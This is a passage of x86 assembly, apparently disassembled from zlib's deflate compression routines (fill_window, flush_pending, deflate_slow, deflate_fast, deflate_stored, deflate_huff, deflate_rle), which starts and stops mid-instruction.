(%ecx) movl 32(%esp), %ecx movl %edx, 5812(%ebx) addl %edx, %ecx cmpl $2, %ecx ja .L00000470 .L000004C5: cmpl $261, 32(%esp) ja .L000005A0 .L000004D3: movl (%ebx), %eax movl 4(%eax), %eax testl %eax, %eax je .L000005A0 .L000004E0: movl 44(%ebx), %eax jmp .L000003A8 .L000004E8: testl %esi, %esi jne .L0000066B .L000004F0: xorl %ebp, %ebp jmp .L0000041D .L000004F7: .p2align 3 .L000004F8: movl 56(%ebx), %eax movl 48(%esp), %edx movl 48(%esp), %edi movl %eax, (%esp) addl %eax, %edx movl %edx, 4(%esp) movl %edi, 8(%esp) call memcpy .L00000515: movl 76(%ebx), %eax movl 108(%ebx), %ebp subl %edi, 112(%ebx) subl %edi, 92(%ebx) leal (%eax,%eax), %edx movl %eax, %ecx addl 68(%ebx), %edx subl %edi, %ebp negl %ecx movl %ebp, 28(%esp) movl %ebp, 108(%ebx) leal (%edx,%ecx,2), %ecx xorl %ebp, %ebp movl %esi, 32(%esp) movl %edi, %esi .p2align 3 .L00000540: movzwl -2(%ecx,%eax,2), %edx movl %edx, %edi subl %esi, %edi cmpl %edx, %esi cmova %ebp, %edi movw %di, -2(%ecx,%eax,2) subl $1, %eax jne .L00000540 .L00000558: movl 48(%esp), %eax xorl %ebp, %ebp movl 56(%esp), %ecx addl 64(%ebx), %ecx addl 60(%esp), %ecx movl %eax, %esi .p2align 3 .L00000570: movzwl -2(%ecx,%eax,2), %edx movl %edx, %edi subl %esi, %edi cmpl %edx, %esi cmova %ebp, %edi movw %di, -2(%ecx,%eax,2) subl $1, %eax jne .L00000570 .L00000588: movl (%ebx), %edi movl 32(%esp), %esi addl 48(%esp), %esi movl 4(%edi), %ebp testl %ebp, %ebp jne .L000003D1 .L0000059D: .p2align 3 .L000005A0: movl 5824(%ebx), %eax movl 60(%ebx), %edx cmpl %edx, %eax jae .L000005E8 .L000005AD: movl 116(%ebx), %esi addl 108(%ebx), %esi cmpl %esi, %eax jae .L000005F0 .L000005B7: movl 56(%ebx), %eax subl %esi, %edx movl $258, %edi cmpl $258, %edx cmovbe %edx, %edi movl %edi, 8(%esp) addl %esi, %eax addl %edi, %esi movl $0, 4(%esp) movl %eax, (%esp) call memset .L000005E2: movl %esi, 5824(%ebx) .L000005E8: addl $76, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L000005F0: leal 258(%esi), %ecx cmpl %ecx, %eax jae .L000005E8 .L000005FA: subl %eax, %esi subl %eax, %edx addl $258, %esi cmpl %edx, %esi cmova %edx, %esi addl 56(%ebx), %eax movl %esi, 8(%esp) movl $0, 4(%esp) movl %eax, (%esp) call memset .L00000620: addl %esi, 5824(%ebx) addl $76, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L0000062E: .p2align 3 .L00000630: movl %ebp, 8(%esp) movl %esi, 4(%esp) movl 48(%edi), %eax movl %eax, (%esp) call adler32 .L00000643: movl %eax, 48(%edi) jmp .L00000415 .L0000064B: .p2align 3 .L00000650: movl %ebp, 8(%esp) movl %esi, 4(%esp) movl 48(%edi), %eax movl %eax, (%esp) call crc32 .L00000663: movl %eax, 48(%edi) jmp .L00000415 .L0000066B: movl %ebp, %edx movl %esi, %ebp subl %esi, %edx jmp .L000003E1 .size fill_window, .-fill_window # ---------------------- .L00000676: .p2align 4 # ---------------------- .local flush_pending .type flush_pending, @function flush_pending: subl $28, %esp movl %esi, 20(%esp) movl 28(%eax), %esi movl %ebx, 16(%esp) movl %eax, %ebx movl %edi, 24(%esp) movl %esi, (%esp) call _tr_flush_bits .L0000069C: movl 20(%esi), %edi cmpl %edi, 16(%ebx) cmovbe 16(%ebx), %edi testl %edi, %edi jne .L000006C0 .L000006AA: movl 16(%esp), %ebx movl 20(%esp), %esi movl 24(%esp), %edi addl $28, %esp ret .L000006BA: .p2align 3 .L000006C0: movl 16(%esi), %edx movl 12(%ebx), %eax movl %edi, 8(%esp) movl %edx, 4(%esp) movl %eax, (%esp) call memcpy .L000006D6: movl 20(%esi), %eax addl %edi, 12(%ebx) addl %edi, 16(%esi) addl %edi, 20(%ebx) subl %edi, %eax subl %edi, 16(%ebx) testl %eax, %eax movl %eax, 20(%esi) jne .L000006AA .L000006EE: movl 8(%esi), %eax movl 16(%esp), %ebx movl 24(%esp), %edi movl %eax, 16(%esi) movl 20(%esp), %esi addl $28, %esp ret .size flush_pending, .-flush_pending # ---------------------- .L00000704: .p2align 4 # ---------------------- .local deflate_slow .type deflate_slow, @function deflate_slow: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $44, %esp movl 64(%esp), %ebx .L0000071B: movl 116(%ebx), %ebp .p2align 3 .L00000720: cmpl $261, %ebp jbe .L00000981 .L0000072C: movl 108(%ebx), %esi movl 56(%ebx), %eax movl 88(%ebx), %ecx movl 72(%ebx), %edx movl 68(%ebx), %edi movzbl 2(%eax,%esi), %eax sall %cl, %edx movl 64(%ebx), %ecx xorl %edx, %eax andl 84(%ebx), %eax movl %eax, 72(%ebx) leal (%edi,%eax,2), %eax movl 52(%ebx), %edi movzwl (%eax), %edx andl %esi, %edi movw %dx, (%ecx,%edi,2) movl 96(%ebx), %edi testl %edx, %edx movw %si, (%eax) movl 112(%ebx), %eax movl $2, 96(%ebx) movl %edi, 120(%ebx) movl %eax, 100(%ebx) movl $2, %eax je .L00000798 .L0000077B: cmpl 128(%ebx), %edi jae .L00000798 .L00000783: movl 44(%ebx), %ecx subl %edx, %esi subl $262, %ecx cmpl %ecx, %esi jbe .L00000A40 .L00000796: .p2align 3 .L00000798: cmpl $2, %edi jbe .L00000908 .L000007A1: cmpl %eax, %edi jb .L00000908 .L000007A9: movl 108(%ebx), %ecx leal -3(%edi), %edx movl 116(%ebx), %eax movl 5796(%ebx), %esi addl %ecx, %eax subl $3, %eax subw 100(%ebx), %cx movl %eax, 16(%esp) movl 5792(%ebx), %eax leal -1(%ecx), %edi subl $2, %ecx movw %di, (%esi,%eax,2) movl 5784(%ebx), %esi movb %dl, (%esi,%eax) addl $1, %eax movzbl %dl, %edx movl %eax, 5792(%ebx) movl %eax, 20(%esp) movzbl _length_code(%edx), %eax addw $1, 1176(%ebx,%eax,4) cmpw $255, %cx ja .L000009E8 .L00000809: movzwl %cx, %ecx movzbl _dist_code(%ecx), %eax .L00000813: addw $1, 2440(%ebx,%eax,4) movl 116(%ebx), %ebp movl 120(%ebx), %edx movl 5788(%ebx), %eax movl 108(%ebx), %ecx addl $1, %ebp subl %edx, %ebp subl $2, %edx subl $1, %eax movl %eax, 24(%esp) movl %ebp, 116(%ebx) movl %edx, 120(%ebx) movl %ebp, 28(%esp) jmp .L0000084A .L00000846: .p2align 3 .L00000848: movl %eax, %ecx .L0000084A: leal 1(%ecx), %eax cmpl %eax, 16(%esp) movl %eax, 108(%ebx) jb .L00000886 .L00000856: movl 56(%ebx), %esi movl 72(%ebx), %edi movzbl 3(%esi,%ecx), %esi movl 88(%ebx), %ecx sall %cl, %edi movl 68(%ebx), %ecx xorl %edi, %esi movl 52(%ebx), %edi andl 84(%ebx), %esi movl %esi, 72(%ebx) leal (%ecx,%esi,2), %esi movl 64(%ebx), %ecx movzwl (%esi), %ebp andl %eax, %edi movw %bp, (%ecx,%edi,2) movw %ax, (%esi) .L00000886: subl $1, %edx testl %edx, %edx movl %edx, 120(%ebx) jne .L00000848 .L00000890: movl 24(%esp), %edx addl $1, %eax cmpl %edx, 20(%esp) movl 28(%esp), %ebp movl $0, 104(%ebx) movl $2, 96(%ebx) movl %eax, 108(%ebx) jne .L00000720 .L000008B6: movl 92(%ebx), %edx xorl %ecx, %ecx subl %edx, %eax testl %edx, %edx js .L000008C6 .L000008C1: movl 56(%ebx), %ecx addl %edx, %ecx .L000008C6: movl %eax, 8(%esp) movl %ecx, 4(%esp) movl $0, 12(%esp) movl %ebx, (%esp) call _tr_flush_block .L000008DE: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L000008EB: movl (%ebx), %eax movl 16(%eax), %eax testl %eax, %eax jne .L0000071B .L000008F8: xorl %eax, %eax .L000008FA: addl $44, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L00000902: .p2align 3 .L00000908: movl 104(%ebx), %ebp testl %ebp, %ebp je .L000009C8 .L00000913: movl 108(%ebx), %eax movl 56(%ebx), %edx movl 5796(%ebx), %ecx movzbl -1(%edx,%eax), %edx movl 5792(%ebx), %eax movw $0, (%ecx,%eax,2) movl 5784(%ebx), %ecx movb %dl, (%ecx,%eax) addl $1, %eax movzbl %dl, %edx movl %eax, 5792(%ebx) addw $1, 148(%ebx,%edx,4) movl 5788(%ebx), %edx subl $1, %edx cmpl %edx, %eax je .L00000A00 .L0000095F: movl (%ebx), %eax movl 116(%ebx), %ebp addl $1, 108(%ebx) movl 16(%eax), %edi subl $1, %ebp movl %ebp, 116(%ebx) testl %edi, %edi je .L000008F8 .L00000975: cmpl $261, %ebp ja .L0000072C .L00000981: movl %ebx, %eax call fill_window .L00000988: movl 68(%esp), %ebp movl 116(%ebx), %eax testl %ebp, %ebp je .L00000A87 .L00000997: testl %eax, %eax je .L00000A9A .L0000099F: cmpl $2, %eax ja .L0000072C .L000009A8: movl 96(%ebx), %edi movl 112(%ebx), %eax movl $2, 96(%ebx) movl %edi, 120(%ebx) movl %eax, 100(%ebx) movl $2, %eax jmp .L00000798 .L000009C5: .p2align 3 .L000009C8: movl 116(%ebx), %ebp movl $1, 104(%ebx) addl $1, 108(%ebx) subl $1, %ebp movl %ebp, 116(%ebx) jmp .L00000720 .L000009E1: .p2align 3 .L000009E8: shrw $7, %cx movzwl %cx, %ecx movzbl _dist_code+256(%ecx), %eax jmp .L00000813 .L000009FB: .p2align 3 .L00000A00: movl 92(%ebx), %edx xorl %ecx, %ecx movl 108(%ebx), %eax subl %edx, %eax testl %edx, %edx js .L00000A13 .L00000A0E: movl 56(%ebx), %ecx addl %edx, %ecx .L00000A13: movl %eax, 8(%esp) movl $0, 12(%esp) movl %ecx, 4(%esp) movl %ebx, (%esp) call _tr_flush_block .L00000A2B: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00000A38: jmp .L0000095F .L00000A3D: .p2align 3 .L00000A40: movl %ebx, %eax call longest_match .L00000A47: cmpl $5, %eax movl %eax, 96(%ebx) ja .L00000A5D .L00000A4F: cmpl $1, 136(%ebx) je .L00000A73 .L00000A58: cmpl $3, %eax je .L00000A65 .L00000A5D: movl 120(%ebx), %edi jmp .L00000798 .L00000A65: movl 108(%ebx), %edx subl 112(%ebx), %edx cmpl $4096, %edx jbe .L00000A5D .L00000A73: movl $2, 96(%ebx) movl 120(%ebx), %edi movl $2, %eax jmp .L00000798 .L00000A87: cmpl $261, %eax jbe .L000008F8 .L00000A92: testl %eax, %eax jne .L0000099F .L00000A9A: movl 104(%ebx), %esi testl %esi, %esi jne .L00000B1C .L00000AA1: movl 108(%ebx), %edx movl $2, %eax cmpl $2, %edx cmovbe %edx, %eax cmpl $4, 68(%esp) movl %eax, 5812(%ebx) je .L00000B63 .L00000AC0: movl 5792(%ebx), %ecx movl $1, %eax testl %ecx, %ecx je .L000008FA .L00000AD3: movl 92(%ebx), %eax xorl %ecx, %ecx subl %eax, %edx testl %eax, %eax js .L00000AE3 .L00000ADE: movl 56(%ebx), %ecx addl %eax, %ecx .L00000AE3: movl %edx, 8(%esp) movl %ecx, 4(%esp) movl %ebx, (%esp) movl $0, 12(%esp) call _tr_flush_block .L00000AFB: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00000B08: movl (%ebx), %eax movl 16(%eax), %edx xorl %eax, %eax testl %edx, %edx setne %al addl $44, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L00000B1C: movl 108(%ebx), %eax movl 56(%ebx), %edx movl 5796(%ebx), %ecx movzbl -1(%edx,%eax), %edx movl 5792(%ebx), %eax movw $0, (%ecx,%eax,2) movl 5784(%ebx), %ecx movb %dl, (%ecx,%eax) addl $1, %eax movl %eax, 5792(%ebx) movzbl %dl, %eax addw $1, 148(%ebx,%eax,4) movl $0, 104(%ebx) jmp .L00000AA1 .L00000B63: movl 92(%ebx), %eax xorl %ecx, %ecx subl %eax, %edx testl %eax, %eax js .L00000B73 .L00000B6E: movl 56(%ebx), %ecx addl %eax, %ecx .L00000B73: movl %edx, 8(%esp) movl %ecx, 4(%esp) movl $1, 12(%esp) movl %ebx, (%esp) call _tr_flush_block .L00000B8B: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00000B98: movl (%ebx), %eax cmpl $1, 16(%eax) sbbl %eax, %eax addl $3, %eax jmp .L000008FA .size deflate_slow, .-deflate_slow # ---------------------- .L00000BA8: .p2align 4 # ---------------------- .local deflate_fast .type deflate_fast, @function deflate_fast: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $76, %esp movl 96(%esp), %ebx .L00000BBB: movl 116(%ebx), %ebp .p2align 3 .L00000BC0: cmpl $261, %ebp jbe .L00000E60 .L00000BCC: movl 108(%ebx), %esi movl 56(%ebx), %eax movl 88(%ebx), %ecx movl 72(%ebx), %edx movl 68(%ebx), %ebp movzbl 2(%eax,%esi), %eax movl 52(%ebx), %edi sall %cl, %edx movl 64(%ebx), %ecx xorl %edx, %eax andl 84(%ebx), %eax andl %esi, %edi movl %eax, 72(%ebx) leal (%ebp,%eax,2), %eax movzwl (%eax), %edx testl %edx, %edx movw %dx, (%ecx,%edi,2) movw %si, (%eax) je .L00000C18 .L00000C04: movl 44(%ebx), %eax movl %esi, %ecx subl %edx, %ecx subl $262, %eax cmpl %eax, %ecx jbe .L00000EA8 .L00000C18: movl 96(%ebx), %eax .L00000C1B: cmpl $2, %eax jbe .L00000DC0 .L00000C24: movl 5792(%ebx), %edx subl $3, %eax movl 5796(%ebx), %ecx subw 112(%ebx), %si movw %si, (%ecx,%edx,2) movl 5784(%ebx), %ecx subl $1, %esi movb %al, (%ecx,%edx) movzbl %al, %eax addl $1, %edx movzbl _length_code(%eax), %eax movl %edx, 5792(%ebx) addw $1, 1176(%ebx,%eax,4) cmpw $255, %si ja .L00000E90 .L00000C6E: movzwl %si, %esi movzbl _dist_code(%esi), %eax .L00000C78: addw $1, 2440(%ebx,%eax,4) movl 5788(%ebx), %eax movl 116(%ebx), %ebp subl $1, %eax cmpl %eax, %edx movl 96(%ebx), %edx sete %al movzbl %al, %eax movl %eax, 28(%esp) subl %edx, %ebp cmpl 128(%ebx), %edx movl %edx, 24(%esp) movl %ebp, 116(%ebx) ja .L00000E28 .L00000CB1: cmpl $2, %ebp jbe .L00000E28 .L00000CBA: movl 108(%ebx), %edi movl %edx, %esi movl 64(%ebx), %edx subl $1, %esi movl 88(%ebx), %ecx movl 72(%ebx), %eax movl %edi, 56(%esp) movl 52(%ebx), %edi movl %edx, 32(%esp) movl 68(%ebx), %edx movl %esi, 96(%ebx) movl %ecx, 48(%esp) movl %edi, 36(%esp) movl 56(%ebx), %edi movl %edx, 40(%esp) movl 56(%esp), %edx movl %ebp, 60(%esp) movl %ebx, 16(%esp) movl %edi, 44(%esp) movl 84(%ebx), %edi movl %edi, 52(%esp) .p2align 3 .L00000D08: movl 16(%esp), %ebx addl $1, %edx subl $1, %esi movl 44(%esp), %ebp movzbl 48(%esp), %ecx movl %edx, 108(%ebx) movzbl 2(%ebp,%edx), %edi sall %cl, %eax movl 32(%esp), %ebp xorl %edi, %eax movl 36(%esp), %edi andl 52(%esp), %eax movl %eax, 72(%ebx) movl 40(%esp), %ebx andl %edx, %edi testl %esi, %esi leal (%ebx,%eax,2), %ecx movzwl (%ecx), %ebx movw %bx, (%ebp,%edi,2) movl 16(%esp), %edi movw %dx, (%ecx) movl %esi, 96(%edi) jne .L00000D08 .L00000D55: movl 56(%esp), %eax movl %edi, %ebx addl 24(%esp), %eax movl 60(%esp), %ebp movl %eax, 108(%edi) .p2align 3 .L00000D68: movl 28(%esp), %edi testl %edi, %edi je .L00000BC0 .L00000D74: movl 92(%ebx), %edx xorl %ecx, %ecx subl %edx, %eax testl %edx, %edx js .L00000D84 .L00000D7F: movl 56(%ebx), %ecx addl %edx, %ecx .L00000D84: movl %eax, 8(%esp) movl %ecx, 4(%esp) movl $0, 12(%esp) movl %ebx, (%esp) call _tr_flush_block .L00000D9C: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00000DA9: movl (%ebx), %eax movl 16(%eax), %esi testl %esi, %esi jne .L00000BBB .L00000DB6: xorl %eax, %eax .L00000DB8: addl $76, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L00000DC0: movl 56(%ebx), %eax movl 5796(%ebx), %ecx movzbl (%eax,%esi), %edx movl 5792(%ebx), %eax movw $0, (%ecx,%eax,2) movl 5784(%ebx), %ecx movb %dl, (%ecx,%eax) addl $1, %eax movzbl %dl, %edx movl %eax, 5792(%ebx) addw $1, 148(%ebx,%edx,4) movl 5788(%ebx), %edx movl 116(%ebx), %ebp subl $1, %edx cmpl %edx, %eax sete %al subl $1, %ebp movzbl %al, %eax movl %eax, 28(%esp) movl 108(%ebx), %eax movl %ebp, 116(%ebx) addl $1, %eax movl %eax, 108(%ebx) jmp .L00000D68 .L00000E23: .p2align 3 .L00000E28: movl 56(%ebx), %edx movl 24(%esp), %eax addl 108(%ebx), %eax movl $0, 96(%ebx) movl 88(%ebx), %ecx movl %eax, 108(%ebx) movzbl (%edx,%eax), %esi movl %esi, 72(%ebx) movzbl 1(%edx,%eax), %edx sall %cl, %esi xorl %esi, %edx andl 84(%ebx), %edx movl %edx, 72(%ebx) jmp .L00000D68 .L00000E5A: .p2align 3 .L00000E60: movl %ebx, %eax call fill_window .L00000E67: movl 100(%esp), %edx movl 116(%ebx), %eax testl %edx, %edx je .L00000EBA .L00000E72: testl %eax, %eax je .L00000EC9 .L00000E76: cmpl $2, %eax ja .L00000BCC .L00000E7F: movl 96(%ebx), %eax movl 108(%ebx), %esi jmp .L00000C1B .L00000E8A: .p2align 3 .L00000E90: shrw $7, %si movzwl %si, %esi movzbl _dist_code+256(%esi), %eax jmp .L00000C78 .L00000EA3: .p2align 3 .L00000EA8: movl %ebx, %eax call longest_match .L00000EAF: movl 108(%ebx), %esi movl %eax, 96(%ebx) jmp .L00000C1B .L00000EBA: cmpl $261, %eax jbe .L00000DB6 .L00000EC5: testl %eax, %eax jne .L00000E76 .L00000EC9: movl 108(%ebx), %edx movl $2, %eax cmpl $2, %edx cmovbe %edx, %eax cmpl $4, 100(%esp) movl %eax, 5812(%ebx) je .L00000F41 .L00000EE4: movl 5792(%ebx), %ecx movl $1, %eax testl %ecx, %ecx je .L00000DB8 .L00000EF7: movl 92(%ebx), %eax xorl %ecx, %ecx subl %eax, %edx testl %eax, %eax js .L00000F07 .L00000F02: movl 56(%ebx), %ecx addl %eax, %ecx .L00000F07: movl %edx, 8(%esp) movl %ecx, 4(%esp) movl %ebx, (%esp) movl $0, 12(%esp) call _tr_flush_block .L00000F1F: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00000F2C: movl (%ebx), %eax movl 16(%eax), %eax testl %eax, %eax setne %al addl $76, %esp popl %ebx movzbl %al, %eax popl %esi popl %edi popl %ebp ret .L00000F41: movl 92(%ebx), %eax xorl %ecx, %ecx subl %eax, %edx testl %eax, %eax js .L00000F51 .L00000F4C: movl 56(%ebx), %ecx addl %eax, %ecx .L00000F51: movl %edx, 8(%esp) movl %ecx, 4(%esp) movl %ebx, (%esp) movl $1, 12(%esp) call _tr_flush_block .L00000F69: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00000F76: movl (%ebx), %eax cmpl $1, 16(%eax) sbbl %eax, %eax addl $76, %esp popl %ebx addl $3, %eax popl %esi popl %edi popl %ebp ret .size deflate_fast, .-deflate_fast # ---------------------- .L00000F89: .p2align 4 # ---------------------- .local deflate_stored .type deflate_stored, @function deflate_stored: pushl %edi movl $65535, %eax pushl %esi pushl %ebx subl $16, %esp movl 32(%esp), %ebx movl 36(%esp), %edi movl 12(%ebx), %esi subl $5, %esi cmpl $65535, %esi cmovae %eax, %esi .p2align 3 .L00000FB8: movl 116(%ebx), %edx cmpl $1, %edx jbe .L00001080 .L00000FC4: addl 108(%ebx), %edx movl 92(%ebx), %eax movl $0, 116(%ebx) testl %edx, %edx movl %edx, 108(%ebx) leal (%esi,%eax), %ecx je .L00000FDF .L00000FDB: cmpl %ecx, %edx jb .L00001028 .L00000FDF: subl %ecx, %edx movl %edx, 116(%ebx) xorl %edx, %edx movl %ecx, 108(%ebx) subl %eax, %ecx testl %eax, %eax js .L00000FF4 .L00000FEF: movl 56(%ebx), %edx addl %eax, %edx .L00000FF4: movl %ecx, 8(%esp) movl %edx, 4(%esp) movl $0, 12(%esp) movl %ebx, (%esp) call _tr_flush_block .L0000100C: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00001019: movl (%ebx), %eax movl 16(%eax), %eax testl %eax, %eax je .L00001074 .L00001022: movl 108(%ebx), %edx movl 92(%ebx), %eax .L00001028: movl 44(%ebx), %ecx subl %eax, %edx subl $262, %ecx cmpl %ecx, %edx jb .L00000FB8 .L00001037: xorl %ecx, %ecx testl %eax, %eax js .L00001042 .L0000103D: movl 56(%ebx), %ecx addl %eax, %ecx .L00001042: movl %edx, 8(%esp) movl %ecx, 4(%esp) movl $0, 12(%esp) movl %ebx, (%esp) call _tr_flush_block .L0000105A: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00001067: movl (%ebx), %eax movl 16(%eax), %eax testl %eax, %eax jne .L00000FB8 .L00001074: xorl %eax, %eax .L00001076: addl $16, %esp popl %ebx popl %esi popl %edi ret .L0000107D: .p2align 3 .L00001080: movl %ebx, %eax call fill_window .L00001087: movl 116(%ebx), %edx testl %edx, %edx sete %al testl %edi, %edi je .L000010FC .L00001093: testb %al, %al je .L00000FC4 .L0000109B: cmpl $4, %edi movl $0, 5812(%ebx) je .L00001109 .L000010AA: movl 108(%ebx), %ecx movl $1, %eax movl 92(%ebx), %edx cmpl %edx, %ecx jle .L00001076 .L000010B9: subl %edx, %ecx xorb %al, %al testl %edx, %edx js .L000010C6 .L000010C1: movl 56(%ebx), %eax addl %edx, %eax .L000010C6: movl %ecx, 8(%esp) movl %eax, 4(%esp) movl $0, 12(%esp) movl %ebx, (%esp) call _tr_flush_block .L000010DE: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L000010EB: movl (%ebx), %eax movl 16(%eax), %ecx xorl %eax, %eax testl %ecx, %ecx setne %al jmp .L00001076 .L000010FC: testb %al, %al je .L00000FC4 .L00001104: jmp .L00001074 .L00001109: movl 92(%ebx), %edx xorl %ecx, %ecx movl 108(%ebx), %eax subl %edx, %eax testl %edx, %edx js .L0000111C .L00001117: movl 56(%ebx), %ecx addl %edx, %ecx .L0000111C: movl %eax, 8(%esp) movl %ecx, 4(%esp) movl $1, 12(%esp) movl %ebx, (%esp) call _tr_flush_block .L00001134: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00001141: movl (%ebx), %eax cmpl $1, 16(%eax) sbbl %eax, %eax addl $3, %eax jmp .L00001076 .size deflate_stored, .-deflate_stored # ---------------------- .L00001151: .p2align 4 # ---------------------- .local deflate_huff .type deflate_huff, @function deflate_huff: pushl %edi pushl %esi movl %edx, %esi pushl %ebx movl %eax, %ebx subl $16, %esp .L0000116A: movl 116(%ebx), %edx jmp .L000011D4 .L0000116F: .p2align 3 .L00001170: movl 108(%ebx), %eax movl 56(%ebx), %edx movl $0, 96(%ebx) movl 5796(%ebx), %ecx movzbl (%edx,%eax), %edx movl 5792(%ebx), %eax movw $0, (%ecx,%eax,2) movl 5784(%ebx), %ecx movb %dl, (%ecx,%eax) addl $1, %eax movzbl %dl, %edx movl %eax, 5792(%ebx) addw $1, 148(%ebx,%edx,4) movl 5788(%ebx), %edi movl 116(%ebx), %edx movl 108(%ebx), %ecx subl $1, %edi subl $1, %edx addl $1, %ecx cmpl %edi, %eax movl %edx, 116(%ebx) movl %ecx, 108(%ebx) je .L00001260 .L000011D4: testl %edx, %edx jne .L00001170 .L000011D8: movl %ebx, %eax call fill_window .L000011DF: movl 116(%ebx), %edi testl %edi, %edi jne .L00001170 .L000011E6: xorl %eax, %eax testl %esi, %esi je .L00001253 .L000011EC: cmpl $4, %esi movl $0, 5812(%ebx) je .L000012AB .L000011FF: movl 5792(%ebx), %edx movl $1, %eax testl %edx, %edx je .L00001253 .L0000120E: movl 92(%ebx), %edx xorl %ecx, %ecx movl 108(%ebx), %eax subl %edx, %eax testl %edx, %edx js .L00001221 .L0000121C: movl 56(%ebx), %ecx addl %edx, %ecx .L00001221: movl %eax, 8(%esp) movl %ecx, 4(%esp) movl $0, 12(%esp) movl %ebx, (%esp) call _tr_flush_block .L00001239: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00001246: movl (%ebx), %eax movl 16(%eax), %eax testl %eax, %eax setne %al movzbl %al, %eax .L00001253: addl $16, %esp popl %ebx popl %esi popl %edi ret .L0000125A: .p2align 3 .L00001260: movl 92(%ebx), %eax xorl %edx, %edx subl %eax, %ecx testl %eax, %eax js .L00001270 .L0000126B: movl 56(%ebx), %edx addl %eax, %edx .L00001270: movl %ecx, 8(%esp) movl %edx, 4(%esp) movl $0, 12(%esp) movl %ebx, (%esp) call _tr_flush_block .L00001288: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00001295: movl (%ebx), %eax movl 16(%eax), %ecx testl %ecx, %ecx jne .L0000116A .L000012A2: addl $16, %esp xorl %eax, %eax popl %ebx popl %esi popl %edi ret .L000012AB: movl 92(%ebx), %edx xorl %ecx, %ecx movl 108(%ebx), %eax subl %edx, %eax testl %edx, %edx js .L000012BE .L000012B9: movl 56(%ebx), %ecx addl %edx, %ecx .L000012BE: movl %eax, 8(%esp) movl %ecx, 4(%esp) movl %ebx, (%esp) movl $1, 12(%esp) call _tr_flush_block .L000012D6: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L000012E3: movl (%ebx), %eax cmpl $1, 16(%eax) sbbl %eax, %eax addl $16, %esp popl %ebx addl $3, %eax popl %esi popl %edi ret .size deflate_huff, .-deflate_huff # ---------------------- .L000012F5: .p2align 4 # ---------------------- .local deflate_rle .type deflate_rle, @function deflate_rle: pushl %ebp pushl %edi pushl %esi pushl %ebx movl %eax, %ebx subl $60, %esp movzbl _dist_code, %esi movl %edx, 32(%esp) .L00001314: movl 116(%ebx), %eax jmp .L000013AE .L0000131C: .p2align 3 .L00001320: movl $0, 96(%ebx) .L00001327: movl 108(%ebx), %edx movl 56(%ebx), %ecx testl %edx, %edx je .L00001350 .L00001331: leal -1(%ecx,%edx), %edi movzbl 1(%edi), %ebp movl %ebp, 28(%esp) movzbl (%edi), %ebp cmpl %ebp, 28(%esp) je .L000013F8 .L0000134A: .p2align 3 .L00001350: movzbl (%ecx,%edx), %edx movl 5792(%ebx), %eax movl 5796(%ebx), %ecx movw $0, (%ecx,%eax,2) movl 5784(%ebx), %ecx movb %dl, (%ecx,%eax) addl $1, %eax movzbl %dl, %edx movl %eax, 5792(%ebx) xorl %ecx, %ecx addw $1, 148(%ebx,%edx,4) movl 5788(%ebx), %edx subl $1, %edx cmpl %edx, %eax movl 116(%ebx), %eax movl 108(%ebx), %edx sete %cl subl $1, %eax addl $1, %edx testl %ecx, %ecx movl %eax, 116(%ebx) movl %edx, 108(%ebx) jne .L00001531 .L000013AE: cmpl $258, %eax ja .L00001320 .L000013B9: movl %ebx, %eax call fill_window .L000013C0: movl 32(%esp), %edi movl 116(%ebx), %eax testl %edi, %edi je .L0000157D .L000013CF: testl %eax, %eax je .L0000158C .L000013D7: cmpl $2, %eax movl $0, 96(%ebx) ja .L00001327 .L000013E7: movl 56(%ebx), %ecx movl 108(%ebx), %edx jmp .L00001350 .L000013F2: .p2align 3 .L000013F8: movzbl 2(%edi), %ebp cmpl %ebp, 28(%esp) jne .L00001350 .L00001406: movzbl 3(%edi), %ebp cmpl %ebp, 28(%esp) jne .L00001350 .L00001414: leal 3(%edi), %ebp leal 258(%ecx,%edx), %edi movl %eax, 44(%esp) movl 28(%esp), %eax movl %edi, 36(%esp) movl %edx, 40(%esp) jmp .L0000148B .L00001430: movzbl 2(%ebp), %edx leal 2(%ebp), %edi cmpl %edx, %eax jne .L00001496 .L0000143B: movzbl 3(%ebp), %edx leal 3(%ebp), %edi cmpl %edx, %eax jne .L00001496 .L00001446: movzbl 4(%ebp), %edx leal 4(%ebp), %edi cmpl %edx, %eax jne .L00001496 .L00001451: movzbl 5(%ebp), %edx leal 5(%ebp), %edi cmpl %edx, %eax jne .L00001496 .L0000145C: movzbl 6(%ebp), %edx leal 6(%ebp), %edi cmpl %edx, %eax jne .L00001496 .L00001467: movzbl 7(%ebp), %edx leal 7(%ebp), %edi cmpl %edx, %eax jne .L00001496 .L00001472: addl $8, %ebp movzbl (%ebp), %edx cmpl %edx, %eax jne .L0000164D .L00001481: cmpl %ebp, 36(%esp) jbe .L0000164D .L0000148B: movzbl 1(%ebp), %edx leal 1(%ebp), %edi cmpl %edx, %eax je .L00001430 .L00001496: movl 40(%esp), %edx movl %edi, %ebp movl 44(%esp), %eax .L000014A0: subl 36(%esp), %ebp leal 258(%ebp), %edi cmpl %eax, %edi movl %edi, 96(%ebx) ja .L000015F8 .L000014B5: cmpl $2, %edi jbe .L00001350 .L000014BE: movl 5792(%ebx), 